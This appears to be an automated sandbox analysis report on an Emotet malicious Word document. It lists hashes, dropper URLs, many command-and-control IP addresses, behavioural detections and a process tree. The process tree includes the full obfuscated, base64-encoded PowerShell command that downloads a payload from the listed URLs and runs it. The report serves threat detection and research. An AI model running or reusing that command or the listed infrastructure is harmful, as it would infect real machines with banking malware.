emotet | 0b2362700a49af3797e3a32128e561ba70c171de8406a65e5290362ab574c31f

Analysis

max time kernel
136s
max time network
148s
platform
windows10_x64
resource
win10
submitted
17/09/2020, 15:25

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General

Target
emotet_e2_0b2362700a49af3797e3a32128e561ba70c171de8406a65e5290362ab574c31f_2020-09-17__152332._doc.doc
Size 173KB
Sample200917-e2ywc81ws6
SHA256 0b2362700a49af3797e3a32128e561ba70c171de8406a65e5290362ab574c31f
MD5 162724fb2764704b00243728849af5d8
SHA1 aa610c9567e68fbbad8df5fc4b14ca31bce1b2ab
SHA512 951f53feb5076091ac2aa9cafbe5cc0329809befd9b9dab7fd43becd832ed69d347a8cc7a84053254da197bffa7a00f24421391b31f21560840a2a051e219bc7
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://rhyton-building.com/wp-admin/Ey8qV0/
exe.dropper
http://ezzll.com/wp-includes/KIU2WU/
exe.dropper
http://tellmetech.com/wp-content/4ka/
exe.dropper
https://elmundodelareposteria.com/wp-admin/0PVVmJm/
exe.dropper
https://manuelrozas.cl/assets/XWN/
exe.dropper
https://haritdharni.com/wp-admin/bZM/
exe.dropper
https://theworks-group.com/site/pQT6j5/

Extracted

Family

emotet

74.219.172.26:80
134.209.36.254:8080
104.156.59.7:8080
120.138.30.150:8080
194.187.133.160:443
104.236.246.93:8080
74.208.45.104:8080
78.187.156.31:80
187.161.206.24:80
94.23.216.33:80
172.91.208.86:80
91.211.88.52:7080
50.91.114.38:80
200.123.150.89:443
121.124.124.40:7080
62.75.141.82:80
5.196.74.210:8080
24.137.76.62:80
85.105.205.77:8080
139.130.242.43:80
82.225.49.121:80
110.145.77.103:80
195.251.213.56:80
46.105.131.79:8080
87.106.136.232:8080
75.139.38.211:80
124.41.215.226:80
203.153.216.189:7080
162.241.242.173:8080
219.74.18.66:443
174.45.13.118:80
68.188.112.97:80
200.114.213.233:8080
213.196.135.145:80
61.92.17.12:80
61.19.246.238:443
219.75.128.166:80
120.150.60.189:80
123.176.25.234:80
1.221.254.82:80
137.119.36.33:80
94.23.237.171:443
74.120.55.163:80
62.30.7.67:443
104.131.11.150:443
139.59.67.118:443
209.141.54.221:8080
79.137.83.50:443
84.39.182.7:80
97.82.79.83:80
87.106.139.101:8080
94.1.108.190:443
37.187.72.193:8080
139.162.108.71:8080
93.147.212.206:80
74.134.41.124:80
103.86.49.11:8080
75.80.124.4:80
109.74.5.95:8080
153.232.188.106:80
168.235.67.138:7080
50.35.17.13:80
42.200.107.142:80
82.80.155.43:80
78.24.219.147:8080
24.43.99.75:80
107.5.122.110:80
156.155.166.221:80
83.169.36.251:8080
47.144.21.12:443
79.98.24.39:8080
181.169.34.190:80
139.59.60.244:8080
85.152.162.105:80
185.94.252.104:443
110.5.16.198:80
174.102.48.180:443
140.186.212.146:80
95.179.229.244:8080
104.32.141.43:80
169.239.182.217:8080
121.7.127.163:80
94.200.114.161:80
201.173.217.124:443
104.131.44.150:8080
137.59.187.107:8080
5.39.91.110:7080
203.117.253.142:80
157.245.99.39:8080
176.111.60.55:8080
95.213.236.64:8080
220.245.198.194:80
37.139.21.175:8080
89.216.122.92:80
139.99.158.11:443
24.179.13.119:80
188.219.31.12:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1732	388	powershell.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3308-14-0x0000000000430000-0x0000000000442000-memory.dmp	emotet
behavioral2/memory/3308-14-0x0000000000430000-0x0000000000442000-memory.dmp	emotet
behavioral2/memory/3308-15-0x0000000000450000-0x0000000000460000-memory.dmp	emotet
behavioral2/memory/3308-15-0x0000000000450000-0x0000000000460000-memory.dmp	emotet
behavioral2/memory/1656-18-0x0000000000580000-0x0000000000592000-memory.dmp	emotet
behavioral2/memory/1656-18-0x0000000000580000-0x0000000000592000-memory.dmp	emotet
behavioral2/memory/1656-19-0x00000000005A0000-0x00000000005B0000-memory.dmp	emotet
behavioral2/memory/1656-19-0x00000000005A0000-0x00000000005B0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	1732	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3308	Mjlzifmu.exe
1656	DefaultDeviceManager.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\rasplap\DefaultDeviceManager.exe	Mjlzifmu.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3024	WINWORD.EXE
3024	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1732	powershell.exe
1732	powershell.exe
1732	powershell.exe
1656	DefaultDeviceManager.exe
1656	DefaultDeviceManager.exe
1656	DefaultDeviceManager.exe
1656	DefaultDeviceManager.exe
1656	DefaultDeviceManager.exe
1656	DefaultDeviceManager.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1732	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1732 wrote to memory of 3308	1732	powershell.exe	78
PID 1732 wrote to memory of 3308	1732	powershell.exe	78
PID 1732 wrote to memory of 3308	1732	powershell.exe	78
PID 3308 wrote to memory of 1656	3308	Mjlzifmu.exe	81
PID 3308 wrote to memory of 1656	3308	Mjlzifmu.exe	81
PID 3308 wrote to memory of 1656	3308	Mjlzifmu.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_0b2362700a49af3797e3a32128e561ba70c171de8406a65e5290362ab574c31f_2020-09-17__152332._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3024

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABVAGgAeABxADQAbAB1AD0AKAAoACcAQwBzACcAKwAnAGQAaQBuACcAKQArACcAawAnACsAJwAwACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBmAEkATABFAFwAdQBvAGYAVwBzAFUAdgBcAGwAbgB4AFkATgA2AF8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGAAQwBgAFUAcgBJAFQAeQBwAHIAYABvAFQATwBjAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACgAJwBzADEAMgAsACcAKwAnACAAdAAnACsAJwBsACcAKQArACgAJwBzACcAKwAnADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAEYAegBnAGEAdQAwAGUAIAA9ACAAKAAnAE0AJwArACcAagBsACcAKwAoACcAegBpAGYAJwArACcAbQB1ACcAKQApADsAJABDADQAaQA5AHgANQBuAD0AKAAoACcAUgBoACcAKwAnAG0AJwApACsAJwBtACcAKwAoACcAegBxACcAKwAnAHMAJwApACkAOwAkAEQAOAA5AGkAdwB2AGsAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBiAEMAJwArACcAUgBVAG8AZgB3ACcAKQArACcAcwB1ACcAKwAnAHYAYgAnACsAKAAnAEMAUgBMAG4AJwArACcAeAB5ACcAKQArACcAbgA2ACcAKwAnAF8AYgAnACsAJwBDACcAKwAnAFIAJwApACAAIAAtAGMAUgBFAHAAbABhAEMAZQAoACcAYgBDACcAKwAnAFIAJwApACwAWwBjAGgAYQBSAF0AOQAyACkAKwAkAEYAegBnAGEAdQAwAGUAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABTAHQAYQBxAG0AcgBmAD0AKAAnAEEAJwArACgAJwBnAGUAJwArACcAdAAnACkAKwAoACcAawBrACcAKwAnAHkAJwApACkAOwAkAFcAdQBiADMAbQAxAHQAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBMAGkAZQBuAFQAOwAkAEEAbgB6AGwAOQB1AGsAPQAoACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6ACcAKwAnAC8ALwAnACkAKwAoACcAcgBoACcAKwAnAHkAJwApACsAJwB0ACcAKwAnAG8AJwArACcAbgAtACcAKwAoACcAYgB1ACcAKwAnAGkAbABkACcAKQArACgAJwBpAG4AJwArACcAZwAnACkAKwAnAC4AYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAcAAtAGEAJwApACsAKAAnAGQAbQBpAG4ALwAnACsAJwBFAHkAOABxAFYAJwArACcAMAAvACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAvACcAKwAnAGUAegAnACkAKwAoACcAegBsACcAKwAnAGwAJwApACsAKAAnAC4AJwArACcAYwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AaQBuACcAKwAnAGMAJwApACsAJwBsAHUAJwArACgAJwBkAGUAJwArACcAcwAvAEsASQBVADIAVwBVACcAKwAnAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAJwArACcAcAA6AC8ALwB0ACcAKwAnAGUAbAAnACkAKwAoACcAbAAnACsAJwBtAGUAJwApACsAKAAnAHQAJwArACcAZQBjACcAKQArACgAJwBoAC4AJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwBwAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AJwApACsAKAAnAHQAJwArACcALwA0AGsAJwApACsAJwBhACcAKwAoACcALwAnACsAJwAqAGgAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AZQBsAG0AJwApACsAKAAnAHUAbgBkAG8AJwArACcAZABlAGwAJwArACcAYQByACcAKQArACgAJwBlAHAAbwBzAHQAJwArACcAZQAnACkAKwAnAHIAJwArACcAaQAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjAG8AbQAnACsAJwAvAHcAcAAnACsAJwAtACcAKQArACgAJwBhACcAKwAnAGQAbQAnACkAKwAnAGkAJwArACgAJwBuAC8AMAAnACsAJwBQAFYAJwApACsAKAAnAFYAbQBKAG0ALwAqACcAKwAnAGgAJwArACcAdAAnACkAKwAoACcAdABwACcAKwAnAHMAOgAvAC8AbQBhACcAKQArACgAJwBuACcAKwAnAHUAZQAnACkAKwAnAGwAJwArACgAJwByAG8AegBhACcAKwAnAHMALgBjAGwALwAnACkAKwAnAGEAJwArACgAJwBzAHMAZQAnACsAJwB0ACcAKwAnAHMAJwArACcALwBYAFcATgAvACoAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnAHMAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGgAJwArACgAJwBhAHIAJwArACcAaQB0AGQAaABhACcAKQArACgAJwByAG4AaQAuAGMAJwArACcAbwBtACcAKwAnAC8AJwApACsAKAAnAHcAcAAtAGEAJwArACcAZAAnACkAKwAoACcAbQBpAG4ALwBiACcAKwAnAFoATQAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8ALwB0ACcAKQArACcAaABlACcAKwAoACcAdwAnACsAJwBvAHIAawBzAC0AZwByAG8AdQAnACsAJwBwACcAKwAnAC4AJwArACcAYwBvAG0AJwArACcALwBzACcAKQArACgAJwBpAHQAJwArACcAZQAvAHAAUQAnACkAKwAoACcAVAAnACsAJwA2AGoAJwApACsAJwA1AC8AJwApAC4AIgBTAFAAYABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAZQAxAHMAbABzAHEAPQAoACcAVAB1ACcAKwAnAHoAYwAnACsAKAAnAHgAJwArACcAbAA0ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAUAB2AHMAZQBkAG4AMwAgAGkAbgAgACQAQQBuAHoAbAA5AHUAawApAHsAdAByAHkAewAkAFcAdQBiADMAbQAxAHQALgAiAGQATwBXAG4AYABsAG8AQQBgAEQAYABGAEkAbABFACIAKAAkAFAAdgBzAGUAZABuADMALAAgACQARAA4ADkAaQB3AHYAawApADsAJABWADcAdAB4AG0AZABfAD0AKAAnAFEAJwArACgAJwA1ADkAcQAxACcAKwAnADYAbwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABEADgAOQBpAHcAdgBrACkALgAiAEwAYABlAG4ARwBUAGgAIgAgAC0AZwBlACAAMgA4ADIANwA5ACkAIAB7AC4AKAAnAEkAbgB2AG8AJwArACcAawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEQAOAA5AGkAdwB2AGsAKQA7ACQATABqAHUAMQBfAHMAaAA9ACgAJwBJACcAKwAoACcAMQA0ACcAKwAnADQAJwApACsAKAAnAGQAJwArACcANAB6ACcAKQApADsAYgByAGUAYQBrADsAJABIAHoAcAAzAGEAdQBfAD0AKAAoACcAQwA3ACcAKwAnAHMAdQAnACkAKwAoACcAYQAwACcAKwAnADcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAcwBnAGMAaQBlADYAPQAoACgAJwBIAHYAJwArACcAXwBvACcAKQArACcAZwA1ACcAKwAnAHQAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1732
- C:\Users\Admin\Uofwsuv\Lnxyn6_\Mjlzifmu.exe
  "C:\Users\Admin\Uofwsuv\Lnxyn6_\Mjlzifmu.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3308
- - C:\Windows\SysWOW64\rasplap\DefaultDeviceManager.exe
    "C:\Windows\SysWOW64\rasplap\DefaultDeviceManager.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1656

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1656-19-0x00000000005A0000-0x00000000005B0000-memory.dmp

Download

memory/1656-18-0x0000000000580000-0x0000000000592000-memory.dmp

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memory/1732-9-0x0000024FE41B0000-0x0000024FE41B1000-memory.dmp

Download

memory/1732-10-0x0000024FFC9A0000-0x0000024FFC9A1000-memory.dmp

Download

memory/1732-8-0x00007FFF52510000-0x00007FFF52EFC000-memory.dmp

Download

memory/3024-5-0x000002AF8C09B000-0x000002AF8C0A0000-memory.dmp

Download

memory/3024-7-0x000002AF8C09B000-0x000002AF8C0A0000-memory.dmp

Download

memory/3024-6-0x000002AF8C09B000-0x000002AF8C0A0000-memory.dmp

Download

memory/3024-0-0x00007FFF59A10000-0x00007FFF5A0D6000-memory.dmp

Download

memory/3024-4-0x000002AF8BEFE000-0x000002AF8BF0F000-memory.dmp

Download

memory/3024-3-0x000002AF8BEFE000-0x000002AF8BF0F000-memory.dmp

Download

memory/3024-1-0x000002AF8BEFE000-0x000002AF8BF0F000-memory.dmp

Download

memory/3024-2-0x000002AF8BEFE000-0x000002AF8BF0F000-memory.dmp

Download

memory/3308-14-0x0000000000430000-0x0000000000442000-memory.dmp

Download

memory/3308-15-0x0000000000450000-0x0000000000460000-memory.dmp

Download